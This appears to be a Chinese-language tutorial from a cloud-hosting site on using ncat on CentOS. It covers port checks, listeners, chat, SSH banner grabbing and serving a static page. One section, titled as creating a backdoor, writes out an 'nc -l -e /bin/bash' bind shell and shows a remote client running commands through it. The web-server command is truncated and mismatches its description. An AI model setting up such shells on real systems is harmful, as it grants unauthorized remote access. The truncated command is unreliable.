中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Ncat怎么用

發布時間:2022-02-19 10:16:49 來源:億速云 閱讀:176 作者:小新 欄目:開發技術

這篇文章主要為大家展示了“Ncat怎么用”,內容簡而易懂,條理清晰,希望能夠幫助大家解決疑惑,下面讓小編帶領大家一起研究并學習一下“Ncat怎么用”這篇文章吧。

Ncat 是用于在網絡上讀取,寫入,重定向和加密數據的通用命令行工具。它旨在成為您的瑞士軍刀網絡,處理各種各樣的安全測試和管理任務。 Ncat 適合交互使用或作為其他工具的網絡連接后端。

Ncat怎么用

系統環境

Centos8

如何安裝ncat

在Centos7/8系統中ncat安裝包名稱為nmap-ncat

[root@server1 ~]# yum -y install nmap-ncat

一、檢查TCP的80端口的連接

此示例我們將檢查主機名為DCserver的80端口連接。

[root@server1 ~]# nc -vz DCserver 80Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.0.6:80.
Ncat: 0 bytes sent, 0 bytes received in 0.01 seconds.

Ncat怎么用

-z選項為“Zero – I/O 模式”,用于檢查連接狀態。

二、創建一個監聽端口

下面命令可以創建一個tcp監聽端口:

[root@server1 ~]# nc -vl 1234Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234

Ncat怎么用

使用netstat -tlunp查看一下: 

Ncat怎么用

在另一臺主機中,使用nc命令測試一下該端口的連接:

[root@server1 ~]# nc -vz 192.168.43.131 1234Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.43.131:1234.
Ncat: 0 bytes sent, 0 bytes received in 0.01 seconds.

Ncat怎么用 然后返回到偵聽端,可以看到來自192.168.43.131的45568端口連接偵聽端的1234端口。

[root@server1 ~]# nc -vl 1234Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.43.131.
Ncat: Connection from 192.168.43.131:45568.

Ncat怎么用

可以使用-k選項,讓偵聽端保持打開狀態。

三、作為聊天工具

ncat可以用作聊天工具,我們將服務器配置偵聽端口,遠程主機連接服務器的同一端口并發送消息。在服務器端,運行下面命令開啟偵聽端口:

[root@qdzabbix ~]# ncat -l 8080

在遠程主機中運行下面命令,并且在下面輸入聊天內容,按回車發送,在服務端可以看到消息內容了。

[root@server1 ~]# ncat 192.168.0.12 8080Hello qdzabbix

Ncat怎么用

下面在服務端和遠程主機都可以看到消息內容。 

Ncat怎么用

想要退出,只需要按Ctrl + c就可以。

四、檢查SSH軟件版本

可以使用nc命令通過將EXIT命令發送到ssh的22端口上,來檢查服務器軟件版本,如下所示:

[root@server1 ~]# echo "EXIT" | nc 192.168.43.131 22SSH-2.0-OpenSSH_7.8
Protocol mismatch.
Ncat怎么用

五、使用ncat創建后門

可以使用ncat命令創建后門。此功能主要由黑客使用。可以這樣運行命令,在服務端執行下面一條命令:

[root@qdzabbix ~]# nc -l 5566 -e /bin/bash

Ncat怎么用

-e選項后面指定運行的命令。現在客戶端可以連接到服務器上的端口5566,并且可以通過運行以下命令通過bash完全訪問我們的系統:

[root@server1 ~]# nc qdzabbix 5566ls
anaconda-ks.cfg
a.txt
batch
Customer_Supplied_Tickets
custom_resolv.conf

下圖中紅線圈出來的就是執行的命令。 

Ncat怎么用

六、使用ncat運行帶有靜態頁面的Web服務器

可以在本地主機上使用ncat命令啟動Web服務器,這將打開靜態網頁面sample.html。你可以運行如下命令:

首先將下面內容保存到/root/sample.html文件中。

[root@qdzabbix ~]# vim /root/sample.html       
               Test Page       
       
               Level 1 header               Subheading               Normal text here

Ncat怎么用

然后執行下面命令:

[root@qdzabbix ~]# while true; do nc -l -p 80

上面命令中,-p 88選項指定源端口為80。 

Ncat怎么用

在瀏覽器中訪問,可以看到頁面內容。

以上是“Ncat怎么用”這篇文章的所有內容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內容對大家有所幫助,如果還想學習更多知識,歡迎關注億速云行業資訊頻道!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

万载县| 辉县市| 明溪县| 白朗县| 伽师县| 桂阳县| 沭阳县| 盐池县| 娄烦县| 澄江县| 静海县| 陆川县| 安平县| 于都县| 自治县| 芦溪县| 华坪县| 神木县| 西青区| 寿光市| 韶关市| 雷山县| 思茅市| 舟曲县| 综艺| 平定县| 新河县| 清原| 陇西县| 洛扎县| 石门县| 溧水县| 桃园市| 禹城市| 石楼县| 兴宁市| 邢台县| 长寿区| 苗栗县| 阳原县| 南汇区|